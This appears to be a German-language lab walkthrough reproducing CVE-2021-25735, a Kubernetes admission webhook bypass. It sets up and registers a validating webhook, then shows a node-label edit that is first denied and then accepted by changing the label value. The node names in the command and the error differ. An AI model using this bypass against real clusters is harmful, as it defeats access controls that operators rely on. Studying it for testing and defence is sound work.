
Exploit CVE-2021-25735: Kubernetes Validating Admission Webhook Bypass
Beginnen wir mit dem Ausführen des Skripts gencerts.sh, um TLS-Zertifikate und -Schlüssel zu generieren.
bash gencerts.sh
Um den Admission Controller bereitzustellen, müssen Sie das Docker-Container-Image lokal erstellen, taggen und das Image mit den folgenden Befehlen in Ihr Dockerhub pushen.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Jetzt können Sie das erstellte Image mit der Node.js-Anwendung in Ihren K8s-Cluster bereitstellen. Die webhook-deploy.yaml wird alle benötigten Komponenten in Ihrem Cluster bereitstellen.
kubectl apply -f webhook-deploy.yaml
Lassen Sie uns nun unseren Webhook beim Kubernetes API Server registrieren. Dazu erstellen wir eine Base64-Darstellung der zuvor erstellten Datei ca.crt und ersetzen das CA_BUNDLE in webhook-registration.yaml.
cat ca.crt | base64
Schließlich registrieren wir den Webhook beim Kubernetes API Server.
kubectl apply -f webhook-registration.yaml
Wir nehmen eine Änderung am Node-Label vor, indem wir edit nodes verwenden, und fügen ein neues Label hinzu.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Da ChangeAllowed auf "false" gesetzt ist, erhalten wir folgenden Fehler:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Wenn wir erneut versuchen, den Node zu ändern, indem wir die folgende Änderung vornehmen:\
labels:
test: test
changeAllowed: "true"
In diesem Fall wurde die Bearbeitungsaktion akzeptiert, wobei der Admission Controller umgangen wurde.